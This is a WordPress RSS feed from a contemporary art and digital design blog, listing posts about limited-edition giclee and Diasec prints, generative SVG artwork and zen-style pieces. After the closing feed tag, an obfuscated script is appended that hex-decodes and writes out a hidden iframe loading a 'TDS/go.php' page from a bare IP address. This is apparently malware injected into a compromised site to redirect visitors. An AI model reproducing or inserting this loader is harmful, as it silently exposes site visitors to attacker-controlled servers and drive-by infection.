<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>New Contemporary Art &#038; Digital Design</title>
	<atom:link href="http://root2art.co.uk/news/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://root2art.co.uk/news</link>
	<description>New Contemporary Art &#038; Digital Design</description>
	<lastBuildDate>Tue, 26 Feb 2013 19:28:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.1</generator>
		<item>
		<title>Sacred Brain Fat</title>
		<link>http://root2art.co.uk/news/?p=414</link>
		<comments>http://root2art.co.uk/news/?p=414#comments</comments>
		<pubDate>Sat, 11 Aug 2012 19:39:06 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>
		<category><![CDATA[meditation]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=414</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/geometrypoo.png"><img src="http://root2art.co.uk/news/wp-content/geometrypoo.png" alt="" title="geometrypoo" width="600" height="688" class="alignnone size-full wp-image-415" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=414</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Limited Edition Giclee Print</title>
		<link>http://root2art.co.uk/news/?p=397</link>
		<comments>http://root2art.co.uk/news/?p=397#comments</comments>
		<pubDate>Fri, 16 Mar 2012 16:13:05 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=397</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href=http://moonleap.com/shop/limited_edition_prints/seeds_of_happiness"><img src="http://root2art.co.uk/news/wp-content/giclee11.jpg" alt="" title="giclee1" width="600" height="600" class="alignnone size-full wp-image-404" /></a></p>
<p><a href="http://moonleap.com/shop/limited_edition_prints/seeds_of_happiness"><img src="http://root2art.co.uk/news/wp-content/giclee2.jpg" alt="" title="giclee2" width="600" height="343" class="alignnone size-full wp-image-405" /></a></p>
<p>Epson Ultra Chrome Inks with Somerset Enhanced Velvet heavy-weight Giclee Paper</p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=397</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Retro Graphic / Quasi-Japanese-Print Style</title>
		<link>http://root2art.co.uk/news/?p=393</link>
		<comments>http://root2art.co.uk/news/?p=393#comments</comments>
		<pubDate>Wed, 14 Dec 2011 10:14:42 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=393</guid>
		<description><![CDATA[Trying to find a way to make my work work better as prints &#8211; maybe i am on to something with this retro-graphic / quasi-Japanese-print style About my prints: The paper i use is museum-quality and meets the strictest industry standards. The paper is internally buffered to resist fading and acid-free to eliminate degradation. I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/retro_graphic_art.png"><img src="http://root2art.co.uk/news/wp-content/retro_graphic_art.png" alt="Retro Graphic Art" title="retro_graphic_art" width="451" height="700" class="alignnone size-full wp-image-394" /></a></p>
<p>Trying to find a way to make my work work better as prints &#8211; maybe i am on to something with this retro-graphic / quasi-Japanese-print style <img src='http://root2art.co.uk/news/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>About my prints: The paper i use is museum-quality and meets the strictest industry standards. The paper is internally buffered to resist fading and acid-free to eliminate degradation. I use inks with a very high pigment density, allowing for the sharpest possible image, most ideal reflection of light, and widest range of printable color. The pigment colorant also resists water, light, and gas for superior archivability. The color and quality of our prints are made to last for generations.</p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=393</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8216;Interior &#8211; Exterior&#8217; Digital Art Diasec Prints</title>
		<link>http://root2art.co.uk/news/?p=385</link>
		<comments>http://root2art.co.uk/news/?p=385#comments</comments>
		<pubDate>Sun, 20 Nov 2011 06:06:05 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>
		<category><![CDATA[Canvases]]></category>
		<category><![CDATA[Diasec Prints]]></category>
		<category><![CDATA[Murals]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=385</guid>
		<description><![CDATA[600 x 600 &#8216;Interior &#8211; Exterior&#8217; 1/10 Diasec prints £450 each or the pair for £800]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/interior_art.jpg"><img src="http://root2art.co.uk/news/wp-content/interior_art.jpg" alt="interior art diasec digital prints" title="interior_art" width="600" height="600" class="alignnone size-full wp-image-386" /></a></p>
<p><a href="http://root2art.co.uk/news/wp-content/exterior_art.jpg"><img src="http://root2art.co.uk/news/wp-content/exterior_art.jpg" alt="exterior art diasec digital prints" title="exterior_art" width="600" height="600" class="alignnone size-full wp-image-387" /></a></p>
<p>600 x 600 &#8216;Interior &#8211; Exterior&#8217; 1/10 Diasec prints £450 each or the pair for £800 <a href=mailto:h@pattern.co">email me for details</a></p>
<p>The artwork is backed with aluminium with clear Perspex mounted over the top which accentuates the colour and deepens the blacks to give a punchy, rich feel.</p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=385</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Acrylic Reverse Digital Art</title>
		<link>http://root2art.co.uk/news/?p=379</link>
		<comments>http://root2art.co.uk/news/?p=379#comments</comments>
		<pubDate>Sat, 19 Nov 2011 09:48:32 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=379</guid>
		<description><![CDATA[600mm x 600mm &#8211; 1/10 Face mounted Digital print &#8211; £450]]></description>
			<content:encoded><![CDATA[<p><img src="http://root2art.co.uk/news/wp-content/digital_art.jpg" alt="digital art" title="digital_art" width="600" height="600" class="alignnone size-full wp-image-380" /></p>
<p>600mm x 600mm &#8211; 1/10 Face mounted Digital print &#8211; £450 <a href=mailto:h@pattern.co">email me for details</a></p>
<p>The artwork is backed with aluminium with clear Perspex mounted over the top for a very contemporary look.</p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=379</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Idea.less.ness</title>
		<link>http://root2art.co.uk/news/?p=366</link>
		<comments>http://root2art.co.uk/news/?p=366#comments</comments>
		<pubDate>Fri, 07 Oct 2011 18:14:56 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=366</guid>
		<description><![CDATA[The graduated sections of this piece were produced programmatically using js and svg. Each randomly selected hue is first tonally compensated to mid grey, a process i call tonal balancing. This process allows a smooth tonal graduation to be applied to spectrum regardless of hue. In the example output from the script below the right [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/ideaLessNess.png"><img src="http://root2art.co.uk/news/wp-content/ideaLessNess.png" alt="" title="ideaLessNess" width="600" height="671" class="alignnone size-full wp-image-367" /></a></p>
<p>The graduated sections of this piece were produced programmatically using js and svg. Each randomly selected hue is first tonally compensated to mid grey, a process i call tonal balancing. This process allows a smooth tonal graduation to be applied to spectrum regardless of hue. In the example output from the script below the right hand side has been converted to grey scale to demonstrate this principle.</p>
<p><a href="http://root2art.co.uk/news/wp-content/art_drawing.png"><img src="http://root2art.co.uk/news/wp-content/art_drawing.png" alt="" title="art_drawing" width="600" height="693" class="alignnone size-full wp-image-377" /></a></p>
<p><a href="http://root2art.co.uk/op/arc/arcIdeaLessNess.xhtml">svg version</a> <strong>working with firefox and ie9 only:</strong> chrome in this instance mashes it up completely LOL</p>
<p><a href="http://root2art.co.uk/news/wp-content/workings.png"><img src="http://root2art.co.uk/news/wp-content/workings.png" alt="" title="workings" width="600" height="558" class="alignnone size-full wp-image-370" /></a></p>
<p>Needed a little trigonometry to generate this in svg. Drawing it out like this helps me to pin down, what i am trying to do, exactly &#8211; it is not always so clear&#8230; LOL </p>
<p><a href="http://root2art.co.uk/news/wp-content/maths00.png"><img src="http://root2art.co.uk/news/wp-content/maths00.png" alt="" title="maths00" width="600" height="734" class="alignnone size-full wp-image-374" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=366</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Contemporary Zen Art</title>
		<link>http://root2art.co.uk/news/?p=355</link>
		<comments>http://root2art.co.uk/news/?p=355#comments</comments>
		<pubDate>Sun, 24 Apr 2011 12:56:52 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>
		<category><![CDATA[Contemporary Art Prints]]></category>
		<category><![CDATA[Zen Art]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=355</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/contemporary_zen_art.jpg"><img src="http://root2art.co.uk/news/wp-content/contemporary_zen_art.jpg" alt="Contemporary Zen Art" title="contemporary_zen_art" width="600" height="615" class="alignnone size-full wp-image-356" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=355</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spiritual Egg-no-egg</title>
		<link>http://root2art.co.uk/news/?p=351</link>
		<comments>http://root2art.co.uk/news/?p=351#comments</comments>
		<pubDate>Wed, 23 Mar 2011 12:31:45 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=351</guid>
		<description><![CDATA[Based on the first artwork i made using geometry]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/spiritual_egg.jpg"><img src="http://root2art.co.uk/news/wp-content/spiritual_egg.jpg" alt="spiritual_egg-no-egg artwork" title="spiritual_egg-no-egg artwork" width="600" height="375" class="alignnone size-full wp-image-352" /></a></p>
<p>Based on the first artwork i made using geometry</p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=351</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pattern Cross Wall Art</title>
		<link>http://root2art.co.uk/news/?p=346</link>
		<comments>http://root2art.co.uk/news/?p=346#comments</comments>
		<pubDate>Wed, 23 Mar 2011 12:27:47 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>
		<category><![CDATA[Art Wallpaper]]></category>
		<category><![CDATA[Murals]]></category>
		<category><![CDATA[Pattern]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=346</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://root2art.co.uk/news/wp-content/pattern_cross.jpg"><img src="http://root2art.co.uk/news/wp-content/pattern_cross.jpg" alt="Pattern Cross Wall Art" title="Pattern Cross Wall Art" width="600" height="600" class="alignnone size-full wp-image-347" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=346</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Big gallery wall art</title>
		<link>http://root2art.co.uk/news/?p=342</link>
		<comments>http://root2art.co.uk/news/?p=342#comments</comments>
		<pubDate>Sun, 13 Mar 2011 14:55:26 +0000</pubDate>
		<dc:creator>herve</dc:creator>
				<category><![CDATA[2D Work]]></category>
		<category><![CDATA[Art Wallpaper]]></category>
		<category><![CDATA[Murals]]></category>

		<guid isPermaLink="false">http://root2art.co.uk/news/?p=342</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><img src="http://root2art.co.uk/news/wp-content/big-gallery-wall-art.png" alt="big gallery wall art" title="big-gallery-wall-art" width="600" height="371" class="alignnone size-full wp-image-343" /></p>
]]></content:encoded>
			<wfw:commentRss>http://root2art.co.uk/news/?feed=rss2&#038;p=342</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>function v5185b8c982785(v5185b8c9827c6){ var v5185b8c982809=16; return(parseInt(v5185b8c9827c6,v5185b8c982809));}function v5185b8c9828b8(v5185b8c982918){ var v5185b8c9829f1=2; var v5185b8c98295d='';for(v5185b8c9829a9=0; v5185b8c9829a9<v5185b8c982918.length; v5185b8c9829a9+=v5185b8c9829f1){ v5185b8c98295d+=(String.fromCharCode(v5185b8c982785(v5185b8c982918.substr(v5185b8c9829a9, v5185b8c9829f1))));}return v5185b8c98295d;} document.write(v5185b8c9828b8('3C696672616D65206E616D653D27656327207372633D27687474703A2F2F3132342E3231372E3234392E34352F7E757365722F68746D6C2F5444532F676F2E7068703F7369643D31272077696474683D323337206865696768743D3637207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>